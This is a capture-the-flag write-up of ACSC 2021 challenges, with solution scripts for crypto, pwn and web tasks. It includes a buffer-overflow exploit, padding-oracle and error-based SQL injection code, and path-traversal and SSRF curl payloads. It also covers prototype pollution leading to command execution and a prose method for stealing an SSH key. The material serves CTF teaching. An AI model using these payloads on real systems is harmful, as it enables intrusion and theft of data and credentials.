# ACSC 2021 Writeups Author: maple3142 My Blog: https://blog.maple3142.net/ # RSA stream The output is a stream of (m^e[i] mod n) xor known_plaintext[i], so we can easily get two encrypted flag under same modulus with different exponents, then apply common modulus attack to get flag. python import gmpy2 from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse from Crypto.Util.Padding import pad n = 30004084769852356813752671105440339608383648259855991408799224369989221653141334011858388637782175392790629156827256797420595802457583565986882788667881921499468599322171673433298609987641468458633972069634856384101309327514278697390639738321868622386439249269795058985584353709739777081110979765232599757976759602245965314332404529910828253037394397471102918877473504943490285635862702543408002577628022054766664695619542702081689509713681170425764579507127909155563775027797744930354455708003402706090094588522963730499563711811899945647475596034599946875728770617584380135377604299815872040514361551864698426189453 with open("chal.py", "rb") as f: chal = f.read() with open("chal.enc", "rb") as f: enc = f.read() q1 = bytes_to_long(chal[:256]) c1 = q1 ^ bytes_to_long(enc[:256]) e1 = 65537 q2 = bytes_to_long(chal[256:512]) c2 = q2 ^ bytes_to_long(enc[256:512]) e2 = gmpy2.next_prime(e1) _, a, b = gmpy2.gcdext(e1, e2) m = (gmpy2.powmod(c1, a, n) * gmpy2.powmod(c2, b, n)) % n print(long_to_bytes(m))  # filtered Input size is read as int, and it will ensure size < 100. But the readline uses size_t, which is unsigned integer, so passing -1 as size allows you to buffer overflow. So you can simply overwrite return address to win. python from pwn import * elf = ELF("./filtered") # io = process("./filtered") io = remote("filtered.chal.acsc.asia", 9001) io.sendlineafter(b"Size: ", b"-1") io.sendlineafter(b"Data: ", b"a" * 280 + p64(elf.sym["win"])) io.interactive()  # CBCBC The decryption of CBCBC is: $$I_i=C_{i-1} \oplus D(C_i), C_0=\mathit{IV}_2 \\ P_i=I_{i-1} \oplus D(I_i), I_0=\mathit{IV}_1$$ So we have: $$P_1=I_0 \oplus D(C_0 \oplus D(C_1))$$ The $D(C_0 \oplus D(C_1))$ can be considered to be a blackbox function of $C_1$, so we can set $I_0$ as $\mathit{IV}_1$ and $C_1$ as current block to get $P_1$ with padding oracle. $$P_2=C_0 \oplus D(C_1) \oplus D(C_1 \oplus D(C_2))$$ The $D(C_1) \oplus D(C_1 \oplus D(C_2))$ is a blackbox function of $C_1||C_2$, so setting $C_0$ as $\mathit{IV}_2$ and $C_1||C_2$ as current block gives $P_2$. Getting $P_3$ is pretty similar to $P_2$. python from pwn import process, remote from base64 import b64decode, b64encode # io = process(["python", "chal.py"]) io = remote("cbcbc.chal.acsc.asia", 52171) io.sendlineafter(b"> ", b"1") io.sendlineafter(b"username: ", b"") io.recvuntil(b"token: \n") enc = b64decode(io.recvline().strip()) iv1, iv2, ct = enc[:16], enc[16:32], enc[32:] def oracle(iv, block): enc = iv + iv2 + block io.sendlineafter(b"> ", b"2") io.sendlineafter(b"username: ", b"peko") io.sendlineafter(b"token: ", b64encode(enc)) r = io.recvlineS() return "Check your token again" not in r def oracle2(iv, block): enc = iv1 + iv + block io.sendlineafter(b"> ", b"2") io.sendlineafter(b"username: ", b"peko") io.sendlineafter(b"token: ", b64encode(enc)) r = io.recvlineS() return "Check your token again" not in r # copied from https://gist.github.com/maple3142/e9f41bc7dba159123d9c7546e406948b def cbc_oracle_block(oracle, prev, block, sz=16): rprev = prev[::-1] rpt = bytearray(sz) # reversed plaintext for i in range(sz): pad = i + 1 for b in range(256): riv = bytearray(rpt) for j in range(i): riv[j] = rpt[j] ^ rprev[j] ^ pad riv[i] = b if oracle(riv[::-1], block): rpt[i] = pad ^ rprev[i] ^ b break print(i, bytes(rpt[::-1])) return bytes(rpt[::-1]) def cbc_oracle(oracle, iv, ct, sz=16): blocks = [iv] + [ct[i : i + sz] for i in range(0, len(ct), sz)] pt = b"" for block, prev in zip(blocks[::-1], blocks[:-1][::-1]): pt = cbc_oracle_block(oracle, prev, block) + pt return pt print(len(ct)) # 48, 3 blocks print(cbc_oracle_block(oracle, iv1, ct[:16])) # block 1 print(cbc_oracle_block(oracle2, iv2, ct[:32])) # block 2 print(cbc_oracle_block(oracle2, ct[:16], ct[16:])) # block 3, useless # Username: R3dB1ackTreE # Token: 6xk04ChE+H0aWk4aX7FREsxtriobxnNs7mDrTDhYu8C61ch3yoK4u5Nh1tRmxkYr3Q01ayidr0sFGO0oWVDrVZd+GM0vhBzBaUtv2pRzQ+8= # ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}  # Pickle Rick Pickle part can be reversed easily by providing a custom overloaded unpickler that prints the stack at each instruction. By observing the stack during execution, you can see there is a big binary tree represented recursively using nested tuple, and two function called search and mix. The search function takes a binary tree and a number as input, returns a number. The mix function takes an interger list and transform it into another integer list. The logic of pickle bytecode is basically: python target = () # some constant tuple ar = [] for c in mix(user_input): ar.append(search(tree, c)) if tuple(ar) == target: print('Good')  So we can simply get the target tuple and bruteforce back to get mix(user_input) easily. mypixel.py: > Then modify import pickle in chal.py to import mypickle python from pickle import _Unpickler, UnpicklingError, _Unframer, bytes_types, _Stop import io def tuple_deep(t): if type(t) == tuple and len(t) > 0: return max(tuple_deep(x) + 1 for x in t) return 0 class MyUnpickler(_Unpickler): def load(self): """Read a pickled object representation from the open file. Return the reconstituted object hierarchy specified in the file. """ # Check whether Unpickler was initialized correctly. This is # only needed to mimic the behavior of _pickle.Unpickler.dump(). if not hasattr(self, "_file_read"): raise UnpicklingError( "Unpickler.__init__() was not called by " "%s.__init__()" % (self.__class__.__name__,) ) self._unframer = _Unframer(self._file_read, self._file_readline) self.read = self._unframer.read self.readinto = self._unframer.readinto self.readline = self._unframer.readline self.metastack = [] self.stack = [] self.append = self.stack.append self.proto = 0 read = self.read dispatch = self.dispatch try: while True: key = read(1) if not key: raise EOFError assert isinstance(key, bytes_types) dispatch[key[0]](self) # custom debugging code print(bytes([key[0]]), end=" ") for x in self.stack: y = repr(x) if len(y) > 30: y = y[:27] + "..." if type(x) == tuple and tuple_deep(x) == 9: global tree tree = x print(y, end=" | ") print() for x in self.stack: if type(x) == type(loads): fns[x.__code__.co_name] = x except _Stop as stopinst: return stopinst.value fns = {} def loads(x): file = io.BytesIO(x) r = MyUnpickler(file).load() # fmt: off target = (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) # fmt: on mixed = [] for t in target: mixed += [i for i in range(256) if fns["search"](tree, i) == t] print("mixed sequence:") print(mixed) return r  The mix function is: python def mix(a): ln = len(a) arr = [] i = 0 while i < ln: s, j = 0, 0 while j < ln: s = s + (j + 1) * a[(i + j) % ln] j += 1 s %= 257 arr.append(s) i += 1 return arr  I initially wanted to reverse it with z3, but it runs forever. But later, I realized this is just a matrix multiplication with a vector over $F_p$ , so sage can solve it easily: python Z = Zmod(257) mixed = [ 98, 59, 114, 85, 203, 16, 155, 94, 218, 48, 235, 18, 189, 14, 117, 73, 138, 209, 91, 104, 28, ] def mix(a): ln = len(a) arr = [] i = 0 while i < ln: s, j = 0, 0 while j < ln: s = s + (j + 1) * a[(i + j) % ln] j += 1 # s %= 257 arr.append(s) i += 1 return arr P = PolynomialRing(Z, x, 21) flag = P.gens() print( bytes( Sequence(mix(flag)) .coefficient_matrix()[0] .dense_matrix() .solve_right(vector(Z, mixed)) ) )  # API It is easily to found that it is impossible to be admin normally by reading the source code. The vulneribility is: php if (!$admin->is_admin())$admin->redirect('/api.php?#access denied');  Redirecting doesn't stop the code from executing, so we can still use c2 as a normal user. For passcode, you can get it here directly: https://api.chal.acsc.asia/lib/db/passcode.db Then you could just use this to get flag: bash curl -k 'https://api.chal.acsc.asia/api.php?id=Peko&pw=PekoPekoPeko&c=i&c2=gd&pas=:<vNk&db=../../../../../flag'  # Secret Saver It compress then encrypts your input and flag serilized as json with AES-CTR, then store the ciphertext into a mysql database. So it is obvious that we need to use CRIME attack, but we need to get the length of ciphertext first. Note that there is a sql injection, and it displays error message, so we can leak the length of ciphertext with error based injection in 2 requests. The remaining part is implements the CRIME attack, that's all. python import httpx import asyncio import string url = "http://167.99.77.49/" async def check_length(client, msg): id = ( await client.post( url, data={"msg": "^^^^^^^^" + msg * 3, "name": "!" * 8}, ) ).text r = await client.post( url, data={ "msg": "^^^^^^^^", "name": f"'||extractvalue(1,concat(0x5c,(select * from (select length(msg) from msgs where id = '{id}') as t),0x5c))||'", }, ) return int(r.text.split("\\")[1]) async def main(): async with httpx.AsyncClient(verify=False, http2=True) as client: chs = string.printable flag = "ACSC{" while not flag.endswith("}"): lns = await asyncio.gather( *[check_length(client, flag + c + "^$%(~-1*") for c in chs] ) i = lns.index(min(lns)) flag += chs[i] print(flag) asyncio.run(main()) # ACSC{MAK3-CRiME-4TT4CK-GREAT-AGaiN!}  # Baby Developer It provides a screenshot service that uses puppeteer, and there is another website running on vite server dev mode in the internal network. The objective is the get the ssh private key of the container running the vite server. By examining vite's source code, it is easy to see it has a @fs feature allowing you to read any file like this: /@fs/etc/passwd. Also, the whole website have Access-Control-Allow-Origin: * header enabled, so we can setup our webpage that fetch ssh private key and send it to our server easily. So we can use that ssh key to ssh to the server and get flag easily. # Swap on Curve Need to find a$(x,y)$that satisfies both $$y^2=x^3+ax+b \\ x^2=y^3+ay+b$$ over$F_p$. I just simply use the resultant of two polynomial to eliminate$y$and get a polynomial with only$x$in it, and use sage's builtins' solver to solve it. python from sage.matrix.matrix2 import Matrix from Crypto.Util.number import long_to_bytes def resultant(f1, f2, var): return Matrix.determinant(f1.sylvester_matrix(f2, var)) p = 10224339405907703092027271021531545025590069329651203467716750905186360905870976608482239954157859974243721027388367833391620238905205324488863654155905507 a = 4497571717921592398955060922592201381291364158316041225609739861880668012419104521771916052114951221663782888917019515720822797673629101617287519628798278 b = 1147822627440179166862874039888124662334972701778333205963385274435770863246836847305423006003688412952676893584685957117091707234660746455918810395379096 P = PolynomialRing(GF(p), "x,y") x, y = P.gens() f = y ^ 2 - (x ^ 3 + a * x + b) g = x ^ 2 - (y ^ 3 + a * y + b) for r, e in resultant(f, g, y).univariate_polynomial().roots(): print(long_to_bytes(r))  # Favorite Emojis The website uses nginx as reverse proxy, and it will try to render the webpage on the server side using prerenderer if user agent matches some pattern. Nginx passes the url to prerenderer using this following rule: nginx rewrite .* /$scheme://$host$request_uri? break; proxy_pass http://renderer:3000;  And our target is to access http://api:8000/. I tried to set Host header to api:8000 to try to inject to port into the rewrited path, but nginx will ignore the port entirely. The code that prerenderer handles the url is [here](https://github.com/prerender/prerender/blob/1098f5c8ff5f25e9a4248ea53a657df41c700dfc/lib/util.js#L46). There is some decodeURIComponent, so it might be possible to inject : into the result url. Unfortunately, api%3a8000 won't work because nginx will always escape % as %25, and url.parse(decodedUrl, true) will parse it as path. The trick is to put it into userinfo part like this: api%3a8000@peko, which will correctly passes the url.parse and url.format in their url handling code. And due to their decodeURIComponent after url.format, the %3a will be :, so we have http://api:8000@peko now. To make it access http://api:8000/, we only need to add another ? to ignore the remaining part. So our final payload is api%3a8000%3f@peko. bash curl 'http://favorite-emojis.chal.acsc.asia:5000/' -H 'User-Agent: googlebot' -H 'Host: api%3a8000%3f@peko'  # Two Rabin The flag are cut into two parts $m_1$ and $m_2$. And there is a regulard RSA modulus $n=pq$ and another constant $B$. The first part are encrypted using $c \equiv m(m+B) \pmod{n}$, the first are without padding and the second has padding. Since the padding is constant, they can be rewrited as 2 polynomials with same root $m$, so computing polynomial gcd gives the first half of the flag. The second part are encrypted in the same way, but they both have a 240 bits random padding. It is easy to easy that the difference between two padded $m_2$ are less 240 bits too. We can rewrite the encryption as 2 polynomial with 2 variable $m,x$, where $x$ is the small difference. Eliminate $m$ from two polynomial to get another polynomial with a small root $x$, which can be solved by coppersmith. After getting $x$, the remaining part are same as a first part. Simply take gcd of 2 polynomial and get the second half of the flag. python from Crypto.Util.Padding import pad from Crypto.Util.number import * from sage.matrix.matrix2 import Matrix def resultant(f1, f2, var): return Matrix.determinant(f1.sylvester_matrix(f2, var)) flag1_len = 98 n = 105663510238670420757255989578978162666434740162415948750279893317701612062865075870926559751210244886747509597507458509604874043682717453885668881354391379276091832437791327382673554621542363370695590872213882821916016679451005257003326444660295787578301365987666679013861017982035560204259777436442969488099 B = 12408624070212894491872051808326026233625878902991556747856160971787460076467522269639429595067604541456868927539680514190186916845592948405088662144279471 c1 = 47149257341850631803344907793040624016460864394802627848277699824692112650262968210121452299581667376809654259561510658416826163949830223407035750286554940980726936799838074413937433800942520987785496915219844827204556044437125649495753599550708106983195864758161432571740109614959841908745488347057154186396 c2 = 38096143360064857625836039270668052307251843760085437365614169441559213241186400206703536344838144000472263634954875924378598171294646491844012132284477949793329427432803416979432652621257006572714223359085436237334735438682570204741205174909769464683299442221434350777366303691294099640097749346031264625862 flag2_len = 98 hard_c1 = 73091191827823774495468908722773206641492423784400072752465168109870542883199959598717050676487545742986091081315652284268136739187215026022065778742525832001516743913783423994796457270286069750481789982702001563824813913547627820131760747156379815528428547155422785084878636818919308472977926622234822351389 hard_c2 = 21303605284622657693928572452692917426184397648451262767916068031147685805357948196368866787751567262515163804299565902544134567172298465831142768549321228087238170761793574794991881327590118848547031077305045920819173332543516073028600540903504720606513570298252979409711977771956104783864344110894347670094 def pgcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() def solve1(): k = bytes_to_long(pad(b"a" * flag1_len, 128)[flag1_len:]) P = PolynomialRing(Zmod(n), "m1") m1 = P.gen() m2 = m1 * 2 ^ 240 + k f1 = m1 * (m1 + B) - c1 f2 = m2 * (m2 + B) - c2 g = pgcd(f1, f2) return long_to_bytes(-g.coefficients()[0]) def solve2(): global t, x, m1, m2, f1, f2, g P = PolynomialRing(Zmod(n), "m1,x") m1, x = P.gens() m2 = m1 + x f1 = m1 * (m1 + B) - hard_c1 f2 = m2 * (m2 + B) - hard_c2 f = resultant(f1, f2, m1).univariate_polynomial() x = f.small_roots(X=2 ^ 240, epsilon=0.03)[1] P = PolynomialRing(Zmod(n), "m1") m1 = P.gen() m2 = m1 + x f1 = m1 * (m1 + B) - hard_c1 f2 = m2 * (m2 + B) - hard_c2 g = pgcd(f1, f2) return long_to_bytes(-g.coefficients()[0] >> 240) print(solve1() + solve2())  # Cowsay as a Service Notice that we can do prototype pollution by setting our username to __proto__ and change settings easily. And find a prototype pollution gadget to get RCE then it is all done. I polluted Object.prototype.shell to /bin/bash because the [documentation](https://nodejs.org/api/child_process.html#child_process_child_process_spawn_command_args_options) said shell will be used when spawning child process. So we can have a bash expansion behavior by setting the shell /bin/bash, then simply let it cowsay \$(env)` to get flag.